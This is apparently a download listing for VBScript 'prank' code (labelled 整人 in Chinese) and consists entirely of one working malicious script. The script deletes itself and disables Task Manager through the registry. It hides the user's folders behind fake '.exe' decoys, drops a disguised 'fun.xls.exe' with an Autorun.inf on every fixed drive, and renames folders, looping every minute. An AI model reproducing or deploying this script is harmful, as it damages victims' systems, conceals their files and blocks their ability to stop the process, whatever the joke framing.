vbs.rar_VBS整人代码_vbs 恶搞_vbscript 恶搞_vbs整人_整人

On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set Cx=fso.GetSpecialFolder(0) fso.GetFile(WScript.ScriptFullName).Delete(True) Set ws=CreateObject("WScript.Shell") ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD" Do C=fso.GetParentFolderName(Cx) Set Fdrs=fso.GetFolder(C).SubFolders For Each Fdr In Fdrs If Not fso.GetExtensionName(Fdr.Name)="exe" Then fso.CreateFolder(C & Fdr.Name & ".exe") fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes Fdr.Attributes=6 End If Next Set Cx=Nothing Set Fdrs=Nothing Set drvs=fso.Drives For Each drv In drvs If drv.DriveType=2 Then Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe") fun.Attributes=6 fun.Copy(drv & "\fun.xls.exe") Set auto=fso.CreateTextFile(drv & "\Autorun.inf") auto.WriteLine("[Autorun]") auto.WriteLine("Open=fun.xls.exe") auto.Close Set auto=Nothing Set fun=Nothing If drv & "\" = C Then Else Set Fdrs=fso.GetFolder(drv & "\").SubFolders For Each Fdr In Fdrs If Not fso.GetExtensionName(Fdr.Name)="exe" Then Fdr.Name=Fdr.name & ".exe" End If Next End If End If Next WScript.Sleep 60*1000 Loop